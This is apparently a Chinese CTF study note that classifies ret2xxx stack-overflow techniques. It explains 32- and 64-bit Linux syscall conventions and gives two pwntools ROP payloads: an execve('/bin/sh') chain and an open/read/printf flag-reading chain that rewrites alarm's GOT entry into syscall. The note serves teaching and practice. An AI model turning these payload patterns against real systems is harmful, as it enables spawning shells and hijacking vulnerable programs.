0%

ret2xxx

ret2xx

这两周做了很多栈溢出的题,这是很基础的东西,所以想写一下做一个归类。

基础知识

系统调用怎么写:首先,如果要在rop链中用系统调用,要知道32位和64位区别:

1.传参方式不同

2.系统调用号不同

3.调用方式不同

32位传参方式:

系统调用号存在eax,参数依次放在ebx,ecx,edx,esi,edi,ebp,返回值存到eax

调用号:sys_read的调用号为3,sys_write的调用号为4,sys_execve的调用号为11

调用方式:使用int 0x80软中端指令进行系统调用

64位传参方式:
系统调用号放在rax,参数依次放在rdi,rsi,rdx,r10,r8,r9,返回值存在rax

(和普通函数调用仅仅在第四个参数那不同,普通的函数是参数放入rcx)

调用号:sys_read的调用号为0,sys_write的调用号为1,sys_execve的调用号为59

调用方式:使用syscall函数进行系统调用

image-20230323111008911

image-20230323111035012

举例:32位:ret2syscall,如何调用以下函数:

1
execve("/bin/sh",NULL,NULL)
1
payload = flat([b'a' * 112, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, binsh, int_0x80])

先将系统调用号存到eax,再将参数传入ebx,ecx,edx,最后执行0x80软中断

64位:如何调用以下函数:

1
2
3
fd = open("flag", O_RDONLY)
read(fd, bss+0x100, 0x50)
printf(bss_addr+0x100)
1
2
3
4
5
6
7
8
payload += b'a'*0x38 + p64(pop_rdi_ret) + p64(alarm_got) +p64(pop_rax_ret) + p64(syscall_offset) + p64(add_rdi_al_ret)
# open("flag", O_RDONLY)
payload += p64(pop_rsi_pop_r15_ret) + p64(O_RDONLY) + b'deadbeef' + p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rax_ret) + p64(n_sys_open) + p64(alarm_plt)
# read(fd, bss_addr+0x100, 0x50)
payload += p64(pop_rdx_ret) + p64(0x50) + p64(pop_rsi_pop_r15_ret) + p64(bss_addr+0x100) + b'deadbeef' + p64(pop_rdi_ret) + p64(fd) + p64(read_plt)
# printf(bss_addr+0x100)
payload += p64(pop_rdi_ret) + p64(bss_addr+0x100) + p64(printf_plt)

首先rdi存某个系统调用的got地址,再用rax存syscall相对于alarm这个系统调用的偏移地址,接下来用add将got中alarm地址+偏移就是syscall地址覆盖alarm的got地址,所以该地址变成了syscall,rdi存的就是syscall地址,接下来rsi存入open的第一个参数,r15存入垃圾数据,然后rdi存flag字符串地址,rax存open的调用号,最后用syscall来调用这个rop(改alarm的got,调用函数需要用plt)

read函数本来就在程序中用过,所以不用执行系统调用。